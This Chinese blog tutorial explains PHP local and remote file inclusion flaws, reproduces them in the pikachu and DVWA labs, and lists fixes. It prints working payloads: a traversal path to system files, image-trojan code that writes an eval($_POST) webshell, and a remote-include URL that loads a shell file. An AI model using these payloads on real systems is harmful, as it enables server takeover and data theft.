浅谈文件包含漏洞及靶场复现

 浅谈文件包含漏洞(附:靶场复现)

1. 概述

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时候直接调用此文件,而无须再次编写,这种调用文件的过程称为包含。

程序员为了使代码更加灵活,经常将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含漏洞分为本地包含(LFI)和远程包含(RFI)。文件包含漏洞在 PHP Web Application中居多,在JSP ASP程序中偏少。

PHP中共有四个文件包含的函数,分别为include()、include_once()、require()、require_once()。这四个函数都有包含的功能,但作用有一定的差异:

  • require  找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • include  找不到被包含的文件时只会产生警告(E_WARNING),脚本将会继续执行;
  • include_once  与include()类似,唯一的区别是如果该文件中的代码已经被包含,则不会再次包含;
  • require_once  该函数和require()类似,区别在于若该文件中的代码已经被包含,则不会再次包含。

 

2. 漏洞产生原因分析

创建一个include函数

<?php  
   include $_GET['test'];
?>

再创建一个phpinfo.php文件

<?php phpinfo(); ?>

构造url执行include函数来打开phpinfo页面

 此外将phpinfo的后缀名改成 .jpg  .txt 等都可以解析出来。可见只要文件内包含PHP代码,include函数都可以解析出来,这也是上传图片马可以解析代码并获取shell的原因。

 

 3. 本地包含漏洞(LFI)

只能够对服务器本地的文件进行包含。本地文件包含漏洞所包含的各类情况如下:

  • 可以包含本地文件,在条件允许时可执行代码
  • 执行上传的图片马,生成webshell。
  • 读取敏感文件,如系统配置文件以及PHP文件等。
  • 包含data:或php://input等伪协议
  • 若有phpinfo则可以包含临时文件
  • 包含日志文件GetShell
  • 包含/proc/self/envion文件GetShell

3.1 靶场复现

3.1.1 以pikachu靶场的本地包含漏洞为例

 选择查询的内容艾弗森,查看当前页面的源码会发现filename为变量,可实现文件包含。

<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="fileinclude.php">file include</a>
                </li>
                <li class="active">本地文件包含</li>
            </ul><!-- /.breadcrumb -->
            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
               data-content="先了解一下include()函数的用法吧">
                点一下提示~
            </a>
        </div>
        <div class="page-content">

            <div id=fi_main>
                <p class="fi_title">which NBA player do you like?</p>
                <form method="get">
                    <select name="filename">
                        <option value="">--------------</option>
                        <option value="file1.php">Kobe bryant</option>
                        <option value="file2.php">Allen Iverson</option>
                        <option value="file3.php">Kevin Durant</option>
                        <option value="file4.php">Tracy McGrady</option>
                        <option value="file5.php">Ray Allen</option>
                    </select>
                    <input class="sub" type="submit" name="submit" />
                </form>
                <img class=player src="include/ai.png" />
<p class=nabname>
Allen Iverson (Allen Iverson), was born on June 7, 1975 in the United States in Hampton, Virginia, a former American professional basketball player, the secretary defender (double can guard), 11 times in NBA all-star squad, a former U.S. dream team captain.Over the years, do you remember his pace of the cross?
</p>            </div>

 重新查询并抓包,将file2.php 修改为../../../../windows/system.ini ,然后放包。

 

 

通过文件包含漏洞可以读取到系统的敏感信息。

3.3.2 以DVWA靶场为例

当一时没发现系统文件上传漏洞或者文件上传格式有严格限制时,可以上传一张图片马到服务器,再利用文件包含漏洞进行解析。

 制作图片马

<?php
         fwrite(fopen("shell.php","w"),'<?php eval($_POST[xiaoxu]) ?>;');
?>

 在DVWA的low等级中的文件上传漏洞处,上传ceshi.jpg图片马。(注意查看上传处的源码,里面限制图片不能大于100000B)

 

记住路径 ../../hackable/uploads/ceshi.jpg ,然后打开DVWA中的文件包含漏洞。

 构造URL  ?page=../../hackable/uploads/ceshi.jpg 在当前文件包含的漏洞环境下运行,然后会跳转到 \phpStudy\WWW\DVWA\hackable\uploads 下调用ceshi.jpg文件并解析执行其中的PHP代码。执行成功后会在fi文件夹下生成shell.php的一句话木马。

用蚁剑链接 http://192.168.43.223/DVWA/vulnerabilities/fi/shell.php  获取webshell如下。

 

 

4 远程文件包含(RFI)
当php.ini中allow_url_fopen和allow_url_include为On时,文件包含函数是可以加载远程文件的,这类漏洞被称为远程文件包含漏洞。

4.1 靶场复现

首先打开allow_url_fopen和allow_url_include。

 

 编写一句话木马,由于该靶场有包含限制,将文件后缀改成 .txt放入 :\phpStudy\WWW\pikach\ceshi.txt

<?php
    $myfile = fopen("webshell.php", "w");
    $txt = '<?php @eval($_POST["xiaoxu"]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
?>

提交查询并抓包

将filename后面的值改为 http://192.168.43.223/pikachu/ceshi.txt 然后放包,调用成功。

 到:phpStudy\WWW\pikachu\vul\fileinclude路径下发现成功生成webshell.php文件,之后便可用菜刀或者蚁剑连接,做进一步的操作。

 

 

5.修复方法

  • 使用str_replace等方法过滤掉危险字符
  • 配置open_basedir,防止目录遍历
  • php版本升级,防止%00截断
  • 对于动态包含的文件可以设置一个白名单,不读取非白名单的文件
  • 做好管理员权限划分,做好文件的权限管理
posted @ 2021-01-11 16:48  Easyoung  阅读(1930)  评论(0编辑  收藏  举报